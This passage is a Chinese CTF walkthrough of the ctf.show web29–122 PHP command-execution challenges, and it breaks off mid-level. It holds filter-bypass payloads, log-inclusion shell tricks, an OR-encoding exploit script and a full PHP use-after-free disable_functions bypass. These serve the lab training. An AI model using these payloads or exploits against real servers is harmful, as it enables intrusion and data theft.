题目地址:https://ctf.show/challenges

web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

构造payload(这里在Y4大佬那看到有五种):
通配符

payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`;
payload4:c=echo `nl fl\ag.php`;//转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
payload7:c=awk '{printf $0}' flag.php||

还有很多姿势,毕竟等于没过滤

web30

多了一个system和php

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

payload:

c=echo exec('nl fla?????');
c=echo `nl fla''g.p''hp`;
c=echo `nl fla?????`;

还有上一道题的很多payload都可以使用

web31

过滤了cat\sort等,空格也被过滤了

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是
cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep

1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
payload:

c=eval($_GET[1]);&1=system('nl flag.php');
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`);
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符

还有其他姿势:
首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可

c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

web32

小知识:include不用括号,分号可以用?>代替。
这个题过滤了空格属实有点难受,php中不用括号的有echo include等
过滤了分号可以用?>绕过。
尝试了以下,发现 include"/etc/passwd"?>可以执行成功。再去想下没有过滤$,我们可以用$_POST[1]呀include"$_POST[1]"?>然后post传参1=/etc/passwd执行成功。还有一个问题include包含php文件不会在页面显示出来,可以用伪协议
payload:

c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy

得到base64,再解码一下就可得到flag

web33-36

payload:

c=include$_GET[a]?>
1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>
1=data://text/palin,<?php system("nl flag.php");?>

web37

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
查看源代码 或者通过包含日志文件拿shell

c=data://text/palin,<?php system("nl fla*");?>

还可以配合UA头执行日志包含

c=/var/log/nginx/access.log

web38

nginx的日志文件/var/log/nginx/access.log
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
查看源代码 或者通过包含日志文件拿shell
在上一道题的基础上过滤了php,和file
所以:

c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=

也可以日志包含

c=/var/log/nginx/access.log

web39

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
限制了后缀,我们可以试试伪协议,因为不能带有flag,所以filter协议和php://input也不好用了。
最后试了试data协议,发现成功了。
payload:

 c=data:text/plain,<?php system('cat f*')?>

这样就相当于执行了php语句<?php system('cat f*')?>.php
因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用。

web40

show_source(next(array_reverse(scandir(pos(localeconv()))))); GXYCTF的禁止套娃 通过cookie获得参数进行命令执行

c=session_start();system(session_id());
passid=ls

具体做法可以参考下GXYCTF的禁止套娃

仔细看下题会发现过滤的不是英文括号,而是中文括号。
所以基本的命令都可以用,但是很难受的是引号没了,美元符号没了。
读文件+数组改造
先把payload写下 highlight_file(next(array_reverse(scandir(pos(localeconv())))));
需要用到的函数
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出。
首先通过 pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以
scandir(pos(localeconv()))就能得到flag.php了。

web41

这题脚本取自yu师傅,看着这脚本应该挺有用的留着
链接:https://blog.csdn.net/miuzzx/article/details/108569080?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-4.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-4.control
这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
这里先给出两个脚本 exp.py rce_or.php,大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。
生成可用字符的集合

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }
  
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);


大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数getflag
用法 python exp.py

import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

运行结果:

 H:\CTF\CTFshow\Web入门\web 29-77 命令执行\web 41> python .\exp.py http://a58e5999-cefa-47bc-a894-858214bef68f.chall.ctf.show:8080/                                                                                                                                                                                                                                   `[+] your function:system                                                                                               [+] your command:ls                                                                                                                                                                                                                            [*] result:                                                                                                             flag.php                                                                                                                index.php                                                                                                               index.php                                                                                                                                                                                                                                       [+] your function:system                                                                                               [+] your command:cat flag.php                                                                                                                                                                                                                  [*] result:                                                                                                             <?php                                                                                                                                                                                                                                           /*                                                                                                                      # -*- coding: utf-8 -*-                                                                                                 # @Author: 羽                                                                                                           # @Date:   2020-09-05 20:31:22                                                                                          # @Last Modified by:   h1xa                                                                                             # @Last Modified time: 2020-09-05 20:33:10                                                                              # @email: 1341963450@qq.com                                                                                             # @link: https://ctf.show                                                                                                                                                                                                                                                                                                                                               */                                                                                                                                                                                                                                              $flag="ctfshow{5420f4c4-227f-43c0-b34d-83ba24cb72ba}";` 

web42

hint:cat flag.php%0a 查看源代码

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

/dev/null 2>&1,让所有的输出流(包括错误的和正确的)都定向到空设备丢弃
所以不能让后面执行,所以需要把后面截断ls;%0a,还可以用%26以及||
?c=ls;
payload:

?c=cat flag.php;

web43

hint:nl flag.php%0a 查看源代码
过滤了;|cat
?c=ls%0a
payload:

?c=more flag.php%0a

web44

hint:nl fla*.php%0a 查看源代码
过滤了;|cat|flag

?c=ls%0a
payload:

?c=more f*%0a

或者通配符
payload:

?c=nl%20fl*%0a

web45

hint:echo$IFStac$IFS*%0A
过滤了;|cat|flag|空格

?c=ls%0a
payload:

?c=more${IFS}f*%0a

也就是多过滤了一个空格,众所周知php环境下可以用%09代替空格
payload:

?c=nl%09fl*%0a

或者使用内联执行
payload:

?c=echo反引号nl\$IFS*反引号%0A

web46

hint:nl<fla''g.php||
过滤了;|cat|flag|空格|数字|$|*

?c=ls%0a
payload:

?c=more%09fla?.php%0a

多过滤了一些数字啥的,等于没来,然后过滤了flag也可以其他姿势\ '' ""等等都行
payload:

?c=nl%09fla\g.php%0a

还可以是,因为||默认是前面成功则不执行后面
payload:

?c=nl%09fla\g.php||

web47

hint:nl<fla''g.php||
过滤了;|cat|flag|空格|数字|$|*|几个查看文件命令

?c=ls%0a
payload:

?c=nl%09fla?.php%0a
?c=nl<fla''g.php||

web48-49

同web47
多给几个payload:

payload1:c=nl%09fla\g.php||
payload2:c=nl%09fla\g.php%0a
payload3:c=nl%09fla''g.php%0a
payload4:c=nl%09fla""g.php%0a
payload5:c=vi%09fla\g.php%0a
payload6:c=tac%09fla\g.php%0a
payload7:c=uniq%09fla\g.php%0a
payload8:c=nl<fla''g.php||
payload9:c=nl%09fla\g.php%26

基本上用这些就可以打好多题了...

web50

hint:依旧是nl<fla''g.php||
if(isset($_GET['c'])){

$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
    system($c." >/dev/null 2>&1");
}

}else{

highlight_file(__FILE__);

}
过滤了;|cat|flag|空格|数字|$|*|几个查看文件命令|%

?c=ls%0a
payload:

?c=nl<>fla\g.php%0a

web51

同web50

web52

hint终于变了:nl$IFS/fla''g||
if(isset($_GET['c'])){

$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
    system($c." >/dev/null 2>&1");
} 

1.过滤了;|cat|flag|空格|数字|*|几个查看文件命令|%|<>
查看当前目录下的文件:
?c=ls%0a
查看flag.php:
里面是假的。。。
尝试查看根目下的所有目录:
?c=ls${IFS}/%0a
查看根目录下的flag:
payload1:

?c=nl${IFS}/fla\g%0a

2.虽然很多能当空格的都被过滤了但是,$却没有过滤,那么很明显了
payload2:

?c=nl$IFS\fla\g.php||

web53

hint:c''at${IFS}fla''g.p''hp
过滤了;|cat|flag|空格|数字|*|几个查看文件命令|%|<>
?c=ls

payload1:

?c=nl${IFS}fla?.php

payload2:

?c=nl$IFS\fla\g.php

web54

hint:/bin/?at${IFS}f???????
过滤了;|cat|flag|空格|数字|查看文件命令nl等|`|%|\x09(空格)|\x26(&)|<|>
?c=ls%0a 回显flag.php
?c=cat flag.php;
即payload:

?c=paste${IFS}fla?.php

加强了正则表达式,或者用通配符就行了
payload2:

?c=/bin/c??${IFS}????????

payload3:

?c=/bin/c??$IFS????????

web55

参考:继无字母数字的命令执行(ctfshow web入门 55)新姿势

过滤了;|小写字母|`|%|\x09(空格)|\x26(&)|<|>

因为过滤了字母,有一个含数字的base64命令可以读文件,用通配符绕过字母,在/bin目录下,使用/???/????64

?c=/bin/base64 flag.php(flag.php全靠猜)
即?c=/???/????64 ????.???

解法2:
bzip2命令是一个压缩文件的命令,压缩文件后缀为.bz2,命令路径:/usr/bin/bzip2

?c=/bin/bzip2 flag.php
即?c=/???/????2 ????.???

压缩后下载,访问/flag.php.bz2。

解法3:
这个不是通用的,因为base64不是每个机器都有,当然为了方便还是写了个脚本
exp:

import requests

while True:
    url = "http://44875025-cec2-4154-8d87-34cbdcff5f27.chall.ctf.show/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
    if r.text.find("flag") >0:
        print(r.text)
        break

web56

参照web55解法3

web57

hint:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
${_} ="" //返回上一次命令
$((${_}))=0
$((~$((${_}))))=-1
其他姿势

?c=grep${IFS}'fla'${IFS}fla??php

关键源码:
if(isset($_GET['c'])){

$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
    system("cat ".$c.".php");
} 

过滤了字母、数字、分号、2个通配符
又学到一个点
echo ${_} #返回上一次的执行结果
echo $(()) #0
echo $((~$(()))) #~0是-1
$(($((~$(())))$((~$(()))))) #$((-1-1))即$$((-2))是-2
echo $((~-37)) #~-37是36
payload:

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

这道题的目的是构造36这个数字,这里利用了$(( ))与整数运算
$(())------是-1
$((~37))------是36
所以我们只需要保证中间是-37即可,
$((~$(())$(())))---是1
所以

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))代表36,即可获取flag

web58

hint:c=show_source('flag.php');
关键源码:
if(isset($_POST['c'])){

    $c= $_POST['c']; 

POST:直接传参 c=show_source('flag.php');

接下来的系列是绕过disable_functions系列,为了加深自己的印象,我决定多学点东西
c=print_r(scandir(dirname('__FILE__')));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}因为没有任何过滤我们便可以读取任意的文件
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "
"; };

//通过单一函数读取文件
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
//这里做一个解释file — 把整个文件读入一个数组中

通过fopen去读取文件内容,这里介绍下函数

fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()

payload:

c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}

//通过高亮显示php文件
show_source("flag.php");             
highlight_file("flag.php");             

web59

在这里web59-64同web58,都可以打通关,在Y4大佬那学点东西,还是补充一下

首先查找flag文件的地址c=print_r(scandir('./'));找到在当前目录下
//paylaod汇总

c=highlight_file("flag.php");
c=var_dump(file("flag.php")); 
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);

web60

首先查找flag文件的地址c=print_r(scandir('./'));找到在当前目录下
//payload汇总

c=highlight_file("flag.php");
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}

同时记录一个,但是这道题不能用

$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用

还有新姿势
//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
copy()
rename()
//用法:

copy("flag.php","flag.txt");             //过60
rename("flag.php","flag.txt");           //过60

web61-65

为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));
//payload:

c=show_source('flag.php');
c=highlight_file('flag.php');
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

web66

hint:c=print_r(scandir("/"));
c=highlight_file('/flag.txt');
关键源码:
if(isset($_POST['c'])){

    $c= $_POST['c'];
    eval($c); 

用show_source(),回显该函数被禁用
直接读flag.php,发现位置不对
查看根目录下的文件:

POST:c=print_r(scandir("/"));
POST:c=highlight_file('/flag.txt');

web67

hint:c=highlight_file('/flag.txt');
print_r()被禁用
查看根目录下有哪些文件:
POST:c=var_dump(scandir("/"));
POST:c=highlight_file('/flag.txt');
或:扫描目录c=var_dump(scandir("/"));,发现是flag.txt
//下面是payload:

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');

web68

hint:尝试include('index.php');
发现字节太大了 直接盲猜 c=include('/flag.txt')

show_source()和highlight_file()被禁用

POST:c=include('/flag.txt');

这里68-70可以用这个通杀
扫描目录c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
//payload介绍

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web69

查看根目录下的文件:
print_r()、var_dump()被禁用

POST:c=var_export(scandir("/"));
POST:c=include('/flag.txt');

web70

error_reporting() 、 ini_set()、 highlight_file()被禁用
看根目录的文件:

POST:c=include('/flag.txt');

web71

hint:我们可以执行php代码让后面的匹配缓冲区不执行直接退出 payload:c=include('/flag.txt');exit(0);
代码审计,这里先介绍几个函数
ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲

然后看这里有一句官方的介绍

此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。

做一个实验:

<?php
$a = 'system("ls");';
eval($a);

//在网页中会输出内容
<?php
$a = 'system("ls");';
eval($a);
ob_get_contents();
ob_end_clean();
//
<?php
$a = 'system("ls");';
eval($a);
$c = ob_get_contents();
ob_end_clean();
echo $c;
//在这里则在网页当中没有输出内容,不难看出其取得了缓冲区的内容并清空了缓冲区

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

所以不难想出payload:

c=require_once('/flag.txt');exit();这里通过exit();使程序提前退出,绕过后面的正则表达式

web72

hint:c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} e
xit(0);
?>
//通过这个发现flag在flag0.txt
//之后利用uaf的脚本进行命令执行

<?php
$a = '?><?php echo 111;?>';
eval($a);
这里的?>是为了闭合前面<?php
payload:
https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
需要把里面的payload进行url编码

附上群主大大的uaf脚本:

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

 #需要通过url编码哦

web73

hint:c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} e
xit(0);
?>
#查看flag在flagc.txt
payload:

c=include('/flagc.txt');exit(0);
c=require("/flagc.txt");exit(0);
c=require_once("/flagc.txt");exit(0);

web74

hint:payload:c=include('/flagc.txt');exit(0);

c=include('/flagx.txt');exit(0);

web75

hint:c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>
#通过payload扫描 flag36.txt
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

这给的两个其实就是payload
emmm刚开始这个题确实是没做出来,多尝试几遍就出来了

web76

同上

web77

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}

读取目录

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

发现一个flag36x.txt和readflag,题目提示了php7.4,搜了一下是利用FF1拓展(php7.4开始才有)
payload:

c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();

这里flag36x.txt读取不出来没有回显,所以利用readflag那个文件,把他输出到新文件flag.txt中
接着访问flag.txt就行了

web118

在原来过滤的基础上增加了数字的过滤。
linux中存在的大量的内置变量
月饼杯web3 payload:${PATH:14:1}${PATH:5:1} ????.??? 构造出的是 nl flag.php
所有我们现在想到简易一点的方法就是得到一个n一个l
发现 $PATH的最后一位是n $PWD的最后一位 也就是 /var/www/html的最后一位是l
在linux中可以用~获取变量的最后几位
而字母起到的作用是和0相同的,所有${PATH:~A}其实就是${PATH:~0}

payload: code=${PATH:~A}${PWD:~A} ????.???

web119

在118的基础上增加了 PATH、BASH、HOME的过滤

这时我们可以利用通配符 调用base64命令,也就是构造出 /bin/base64 flag.php
/???4 ???.???
如果可以构造出来/和4不就可以了吗
在linux中可以用 ${#var}显示var变量的长度
只要找到一个变量的长度是4就可以了。/还是很好找的 $PWD的第一位就是了
我们发现${#RANDOM}可以实现
数字1可以用$SHIVL
payload:

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

web120

payload:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

web121

关键源码:

if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

在上面题的基础上又增加了其他内置变量,但是放开了PWD和RANDOM
所以我们只需研究上一个payload的替换值即可。
过滤了SHLVL,这时可以考虑用 $?替代

$?
用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。

其他的不需要改变
payload:

code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???

/bin/rev
${#?} => 1
这里使用的是rev命令取反查看

web122

增加了#和PWD的过滤,使得我们无法通过获取内置变量的长度获取字符串,PWD可以用HOME代替,其他的没有改变,也就是说我们只要能得到一个数字1就能通过。
这时候就需要强大的$?了

$?
